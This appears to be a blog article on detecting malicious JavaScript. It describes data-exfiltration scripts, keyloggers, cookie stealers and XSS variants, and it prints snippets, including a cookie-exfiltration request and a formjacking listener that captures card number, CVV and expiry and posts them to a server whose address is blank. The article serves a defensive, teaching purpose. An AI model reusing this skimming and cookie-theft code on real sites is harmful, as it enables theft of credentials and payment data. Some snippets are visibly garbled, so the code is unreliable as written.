How to Detect Malicious JavaScript Codeby@induction
8,977 reads
8,977 reads

How to Detect Malicious JavaScript Code

by Vision NPApril 30th, 2023
Read on Terminal Reader
Read this story w/o Javascript
tldt arrow

Too Long; Didn't Read

attackers sometimes use malicious JavaScript code to utilize users' computer resources for illegal activities. In some cases, detecting such codes can be challenging as the attackers use obfuscation techniques to hide and modify the codes. In this article, we explore various aspects related to malicious JavaScript codes and their prevention measures.
featured image - How to Detect Malicious JavaScript Code
Vision NP HackerNoon profile picture

The JavaScript language is widely used to develop various web applications. File handling using JavaScript plays a crucial role in enhancing the user experience. Still, attackers sometimes use malicious JavaScript code to utilize users' computer resources for illegal activities like stealing sensitive data, gaining illegal access to web applications, crypto-jacking, cross-site scripting, and stealing cookies.

In some cases, detecting such codes can be challenging as the attackers use obfuscation techniques to hide and modify the codes. In this article, we explore various malicious JavaScript code and methods to guard against them.

Examples of Malicious Code and Adequate Prevention Techniques

  1. Code that transfers user input data to a malicious external server:

Sample code that sends the user's input data to an example server controlled by an attacker.

Explanation: This JavaScript code is malicious as it passes sensitive user data like name, password, and email to an external malicious server that an attacker operates.

Here, the method getElementById() is used to retrieve the value of form fields. The open() method assists in establishing a connection to the malicious example server and setRequestHeader() is used to set the request headers with Content-Type header. Eventually, the method send() sends sensitive data to the malicious server.


Prefer the following practices:

  • Keep monitoring the network traffic actively to see if the script is making a request to connect the suspicious servers.
  • Carefully monitor the code that sends data to servers using AJAX requests.
  • Keep a record of third-party scripts to ensure they do not contain any malicious code to pass files illegally to unknown servers.

  1. Code that logs keystrokes:

Sample code that logs keystrokes

Explanation: This JavaScript code is used to log every key that a user presses on their keyboard (as input) and sends it to an external server that the attackers operate. For instance, if the server at is controlled by an attacker, it could be used to steal user credentials or other sensitive data.

It captures all keystrokes made by the user then creates a new XMLHttpRequest object and sends the keystroke data to the malicious server at '' using the method send(). This keylogger attack is used to steal sensitive data such as login details, financial data, etc. by using users’ keystrokes.


  • Look for code that listens for keyboard events, you can test it by entering the data.

  • Keep monitoring the network traffic to see if the script is routing data to unknown servers.

  • Make sure the third-party scripts do not contain malicious codes.

  1. Code that steals cookies:

JavaScript code that steals cookies

Explanation: This code retrieves the user’s browser cookies and then passes them to an external malicious server (operated by an attacker). Here we have taken a sample site at which a malicious server is located and suppose it is controlled by an attacker. It could be used to retrieve a user’s session to gain unauthorized access.

Here is the method document.cookie in which the code is used to retrieve the user's cookies. Then the code generates a new XMLHttpRequest object and sends the cookie data to the malicious server at '' using the send() method.


  • Look for the malicious code that retrieves or manipulates cookies stored by your web browser.
  • Monitor the network traffic to see whether the script is sending cookies to unknown servers or not.

These are typical instances of harmful JavaScript code that demonstrate how attackers exploit them to pilfer valuable user data. Given its extensive use on the web, we may unintentionally compromise our personal or sensitive information to theft. Additionally, evolving JS Sniffer techniques make us all vulnerable. Further, we'll delve into some unique tactics employed by attackers.

Unique Tactics Employed by Attackers

  1. Cross-Site Scripting (XSS) attack:

This attack happens when a malicious code is injected into a website or web app, and is executed by unaware visitors (using a cunning technique to conceal the code). Here are notable examples.

  • Reflected XSS attack:
  var query =;
  var message = "Your search query: " + decodeURIComponent(query.substr(1));
  document.getElementById("search-results").innerHTML = message;

In this example code, the attacker uses a “script” tag into the search query parameter of the URL which then comes back to the user in the server's response. Here, the script tag could contain malicious code that steals user data without the user’s consent or authorization.

  • Stored XSS attack:
  var xhr = new XMLHttpRequest();'POST', '', true);
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
  xhr.send('cookie=' + encodeURIComponent(document.cookie));

Here, an attacker injects a “script” tag that sends the user's cookies to an external malicious server operated by the attacker. This sort of malicious code is stored in the website's database and every time a user visits the site it gets executed automatically.

  • DOM-based XSS attack:
  var name = window.location.hash.slice(1);
  document.getElementById('welcome').innerHTML = 'Welcome, ' + name + '!';

Here, the attacker injects a “script” tag that reads the user's name from the URL hash and inserts it into the website's welcome or any sort of message. However, if the user's name contains malicious code, then it could be executed by the website in the browser.

  1. Formjacking Attack:

This attack occurs when an attacker injects malicious code into a website's checkout form which then steals the user's financial data (such as credit card information).

Here's an example of a form jacking attack code:

document.getElementById("checkout-form").addEventListener("submit", function(event) {
    var ccNumber = document.getElementById("credit-card-number").value;
    var ccCvv = document.getElementById("credit-card-cvv").value;
    var ccExp = document.getElementById("credit-card-exp").value;

    var xhr = new XMLHttpRequest();"POST", "", true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.send("cc-number=" + encodeURIComponent(ccNumber) + "&cc-cvv=" + encodeURIComponent(ccCvv) + "&cc-exp=" + encodeURIComponent(ccExp));

Here the code first listens for the submit event on the form and then captures the credit card details (such as number, CVV, and expiration date) that the user entered into the checkout form fields. It then sends this information via an XMLHttpRequest to a malicious remote server.

Effective Tips for Guarding against Malicious Javascript Code

There are some techniques that you can use to stop malicious JavaScript codes:

  1. Maintain software updates for your website, including platform, plugins, and components, to prevent known and new vulnerabilities.

  2. Monitor network traffic to detect JavaScript routes and alert on suspicious server activity if sensitive data is being sent.

  3. Use HTTPS instead of HTTP to ensure encrypted and secure data transmission between the website and users.

  4. As a user, leverage malicious code blocking web apps or extensions to prevent attacks.

  5. Employ input validation methods to prevent attackers from injecting malicious codes into the website.

  6. Adopt a content security policy (CSP) to prevent malicious script loading from external resources.

  7. Integrate a web application firewall (WAF) to protect against common attacks like SQL injection and cross-site scripting (XSS).


JavaScript has transformed website and app interactions with its impressive capabilities. Its versatility enables developers to create high-quality applications that improve user experiences. However, great power requires great responsibility, and attackers have found ways to misuse JavaScript for malicious purposes. As their techniques continue to evolve, it is vital that web developers and users remain vigilant and implement appropriate security measures to safeguard against potential threats and malicious JavaScript.